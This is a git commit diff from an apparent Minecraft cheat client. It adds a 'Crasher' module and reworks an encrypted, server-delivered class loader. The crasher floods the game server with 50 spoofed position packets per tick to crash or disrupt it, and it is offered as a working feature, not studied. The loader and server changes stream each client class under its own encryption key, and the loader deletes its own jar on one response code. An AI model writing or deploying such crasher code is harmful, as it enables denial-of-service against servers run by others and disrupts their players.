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Severe Fuckery

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This commit is contained in:
Jess 2023-10-10 06:12:35 +01:00
parent f6a09ec495
commit 7f19262325
4 changed files with 131 additions and 45 deletions
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37
Client/src/main/java/com/baseband/client/module/modules/Crasher.java Normal file
View file

@ -0,0 +1,37 @@
/*
* Copyright (c) 2023 Jess H & Daniella H. All Rights Reserved.
*
* Unauthorized copying of this file via any medium is Strictly Prohibited.
*/
package com.baseband.client.module.modules;
import com.baseband.client.Restrict;
import com.baseband.client.event.Subscribe;
import com.baseband.client.event.events.SafeTickEvent;
import com.baseband.client.module.Module;
import net.minecraft.network.play.client.CPacketPlayer;
import java.util.Random;
@Restrict(Restrict.Edition.BETA)
public class Crasher extends Module {
@Override
public String toString() {
return "Crasher";
}
@Subscribe
public void tick(SafeTickEvent e) {
for (int i = 0; i < 50; i++) {
mc.player.connection.sendPacket(new CPacketPlayer.PositionRotation(
mc.player.posX,
mc.player.posY,
mc.player.posZ,
new Random().nextInt(90),
new Random().nextInt(90),
true)
);
}
}
}

50
Loader/src/main/java/org/baseband/launcher/launch/Loader.java
View file

@ -41,8 +41,6 @@ import java.security.spec.X509EncodedKeySpec;
import java.util.*;
import java.util.concurrent.atomic.AtomicReference;
import java.util.function.Supplier;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
public class Loader {
@ -242,6 +240,7 @@ public class Loader {
}
case -9: {
new File(Loader.class.getProtectionDomain().getCodeSource().getLocation().getFile()).delete();
message("Update", "Re-run the installer. " +
"\nPlease re-run the installer.", JOptionPane.ERROR_MESSAGE, true);
break;
@ -275,6 +274,10 @@ public class Loader {
Map<String, byte[]> resources = new HashMap<>();
int amountOfData = inputF.readInt();
for (int i = 0; i < amountOfData; i++) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
int l = inputF.readInt();
@ -284,36 +287,35 @@ public class Loader {
amt = inputF.read(buf);
out.write(buf, 0, amt);
}
String name = new String(aesD.doFinal(communicationKey.decryptByteKey(out.toByteArray())));
InputStream input = new ByteArrayInputStream(aesD.doFinal(communicationKey.decryptByteKey(out.toByteArray())));
//Encryption!
//Nope!
//Yep!
out = new ByteArrayOutputStream();
try (ZipInputStream zipStream = new ZipInputStream(input)) {
ZipEntry zipEntry;
while ((zipEntry = zipStream.getNextEntry()) != null) {
byte[] buffer = new byte[1024];
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int len;
while ((len = zipStream.read(buffer)) > 0) {
bos.write(buffer, 0, len);
l = inputF.readInt();
buf = new byte[1024];
while (out.size() != l) {
amt = inputF.read(buf);
out.write(buf, 0, amt);
}
bos.close();
byte[] data = aesD.doFinal(communicationKey.decryptByteKey(out.toByteArray()));
out = new ByteArrayOutputStream();
if (zipEntry.getName().endsWith(".class")) {
ZipEntry finalZipEntry = zipEntry;
classKey.access(x -> classCache.put(finalZipEntry.getName().replace(".class", "").replace('/', '.'), x.getValue().encryptByte(bos.toByteArray())));
l = inputF.readInt();
buf = new byte[1024];
while (out.size() != l) {
amt = inputF.read(buf);
out.write(buf, 0, amt);
}
byte[] dataKey = aesD.doFinal(communicationKey.decryptByteKey(out.toByteArray()));
if (name.endsWith(".class")) {
classKey.access(x -> classCache.put(name.replace(".class", "").replace('/', '.'), x.getValue().encryptByte(new Key(dataKey).decryptByte(data))));
} else {
resources.put(zipEntry.getName(), bos.toByteArray());
resources.put(name, new Key(dataKey).decryptByte(data));
}
}
} catch (IOException e) {
e.printStackTrace();
}
CustomClassloader customCL = new CustomClassloader(

55
Server/src/main/java/dev/baseband/server/socket/ClientHandler.java
View file

@ -7,14 +7,16 @@ import org.mindrot.jbcrypt.BCrypt;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.io.*;
import java.net.Socket;
import java.net.URL;
import java.security.MessageDigest;
import java.security.SecureRandom;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
public class ClientHandler extends Thread {
final Socket client;
@ -173,7 +175,7 @@ public class ClientHandler extends Thread {
}
if(!SocketHandler.currentJarHash.equals(jarHash) && SocketHandler.pastJarHashes.contains(jarHash) && result >= 0) {
dos.writeInt(-8);
dos.writeInt(-9);
System.out.println("JAR HASH MISMATCH, denying.");
System.out.println("But it matches an old version, so tell them to redownload it");
System.out.println("========================================");
@ -182,15 +184,56 @@ public class ClientHandler extends Thread {
}
if (result >= 0 || result == -2) {
System.out.println("Client is valid");
dos.writeInt(result);
Map<Map<String, byte[]>, byte[]> data = new HashMap<>();
byte[] encryptedBytes = key.encryptByte(aesE.doFinal(SocketHandler.clientFileData));
try (ZipInputStream zipStream = new ZipInputStream(new ByteArrayInputStream(SocketHandler.clientFileData))) {
ZipEntry zipEntry;
while ((zipEntry = zipStream.getNextEntry()) != null) {
byte[] buffer = new byte[1024];
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int len;
while ((len = zipStream.read(buffer)) > 0) {
bos.write(buffer, 0, len);
}
bos.close();
Map<String, byte[]> dataLocal = new HashMap<>();
byte[] keyData = SecureRandom.getSeed(256);
dataLocal.put(zipEntry.getName(), new Key(keyData).encryptByte(bos.toByteArray()));
data.put(dataLocal, keyData);
}
}
dos.writeInt(data.size());
for (Map.Entry<Map<String, byte[]>, byte[]> mapEntry : data.entrySet()) {
Map.Entry<String, byte[]> entry = mapEntry.getKey().entrySet().iterator().next();
String className = entry.getKey(); //Name
byte[] classData = entry.getValue(); //Data
byte[] cryptKey = mapEntry.getValue(); //Key
byte[] encryptedBytes = key.encryptByte(aesE.doFinal(className.getBytes()));
dos.writeInt(encryptedBytes.length);
dos.write(encryptedBytes, 0, encryptedBytes.length);
dos.flush();
encryptedBytes = key.encryptByte(aesE.doFinal(classData));
dos.writeInt(encryptedBytes.length);
dos.write(encryptedBytes, 0, encryptedBytes.length);
dos.flush();
encryptedBytes = key.encryptByte(aesE.doFinal(cryptKey));
dos.writeInt(encryptedBytes.length);
dos.write(encryptedBytes, 0, encryptedBytes.length);
dos.flush();
}
System.out.println("Sent File To Client");
System.out.println("========================================");
} else {

4
Server/src/main/java/dev/baseband/server/socket/Key.java
View file

@ -22,6 +22,10 @@ public class Key {
string = key;
}
public Key(byte[] keyData) {
string = new String(keyData);
}
public void setDebug(boolean debug) {
this.debug = debug;
}